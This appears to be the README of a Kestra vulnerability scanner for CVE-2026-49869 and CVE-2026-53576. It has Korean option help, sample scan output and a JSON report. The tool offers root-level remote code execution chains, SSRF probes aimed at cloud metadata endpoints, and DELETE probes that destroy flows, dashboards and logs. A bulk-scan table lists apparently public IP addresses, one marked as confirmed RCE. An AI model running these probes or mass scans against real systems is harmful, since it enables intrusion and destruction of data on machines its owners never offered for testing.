positional:
  target                          단일 대상 URL (예: http://localhost:8080)

options:
  -f, --file                      대상이 포함된 파일 (한 줄에 하나)
  -t, --timeout                   요청 제한 시간(초) (기본값: 10)
  --verify-ssl                    TLS 인증서 확인
  -j, --json                      JSON을 표준 출력으로 출력
  -o, --output                    JSON 보고서를 파일에 쓰기
  --tenant                        테넌트 이름 (기본값: "main")
  --namespace                     우회 경로의 네임스페이스 (기본값: "tutorial")
  -w, --workers                   벌크 스캔의 스레드 수 (기본값: 10)
  -a, --aggressive                PUT 요청을 보내 쓰기 우회 확인
  -P, --auto-ports                자동 확장을 위한 포트 (기본값: 8080 8081 8088 8091 80 443)

advanced probes:
  -r, --rce                       RCE 검증 체인 활성화 (셸 + 파이썬 플로우,
                                   실행 트리거, 로그 검색, 자동 정리)
  -s, --ssrf                      SSRF 탐지 활성화 (Pebble http()로 클라우드 메타데이터
                                   엔드포인트, 로그 기반 증거 수집)
  -d, --destructive               플로우, 대시보드 및 로그에 대한 DELETE 프로브 활성화
                                   (취약한 인스턴스에서 리소스를 삭제합니다)
  --poll-interval                 RCE/SSRF 체인을 위한 로그 폴링 간격(초) (기본값: 3)
  --poll-retries                  RCE/SSRF 체인을 위한 최대 로그 폴링 시도 횟수 (기본값: 10)

====================================================================
  Target:    http://10.0.0.1:8080
  Timestamp: 2026-06-30T12:00:00+00:00
====================================================================

  Version:      1.3.20 (AFFECTED)
  RCE:          CONFIRMED via shell
    | SCAN_RCE_a1b2c3d4e5f6
    | uid=0(root) gid=0(root) groups=0(root)
  SSRF:         DETECTED
    | Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
  DELETE BYPASS: CONFIRMED destructive ops bypass auth

  [Flows Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
    Status:       200
    Bypass:      YES

  [Exec Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
    Status:       404
    Bypass:      No

  ...

  ── RCE Verification Chain ──
    Flow Create: 201
    Exec Trigger: 201
    Log Evidence: 200
      > SCAN_RCE_a1b2c3d4e5f6
      > uid=0(root) gid=0(root) groups=0(root)
    Flow Cleanup: 204

  ── SSRF Detection Chain ──
    Flow Create: 201
    Exec Trigger: 201
    Evidence: 200
      Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
    Flow Cleanup: 204

  [VULN]  Verdict: VULNERABLE ...
====================================================================

========================================================================================================================================
  BULK SCAN SUMMARY   GHSA-5vc5-wxxq-3fjx  |  CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
  #    Target                          Auth   Flows  Exec   KV     Dash   Logs   Tmpl   RCE    SSRF   DEL    Ver
  ---------------------------------------------------------------------------------------------------------------------------------------
  1    http://173.249.1.26:8080        401    404    ERR    ERR    ERR    405    404    YES    YES    YES    RCE!
  2    http://207.180.207.199:8080     401    404    ERR    ERR    ERR    405    404    INC    -      YES    VULN
  ...
  30   http://103.115.65.228:8080      401    401    ERR    401    ERR    401    401    -      -      -      SAFE
  ...
========================================================================================================================================
  Total: 258  |  Vulnerable: 5  |  RCE Confirmed: 1  |  SSRF Detected: 1  |  DEL Bypass: 2  |  Safe: 29  |  Inconclusive: 224
========================================================================================================================================

{
  "scan_info": {
    "scanner": "kestra_cve v2.0.0",
    "cve": ["CVE-2026-49869", "CVE-2026-53576"],
    "aggressive": true,
    "rce": true,
    "ssrf": true,
    "destructive": true
  },
  "results": [
    {
      "target": "http://10.0.0.1:8080",
      "vulnerable": true,
      "version": "1.3.20",
      "version_in_affected_range": true,
      "rce_confirmed": true,
      "rce_method": "shell",
      "rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
      "ssrf_detected": true,
      "ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
      "delete_bypass": true,
      "probes": { "..." : "..." }
    }
  ],
  "summary": {
    "total": 258,
    "vulnerable": 5,
    "rce_confirmed": 1,
    "ssrf_detected": 1,
    "delete_bypass": 2,
    "safe": 29,
    "inconclusive": 224
  }
}

pip install -r requirements.txt
python main.py --help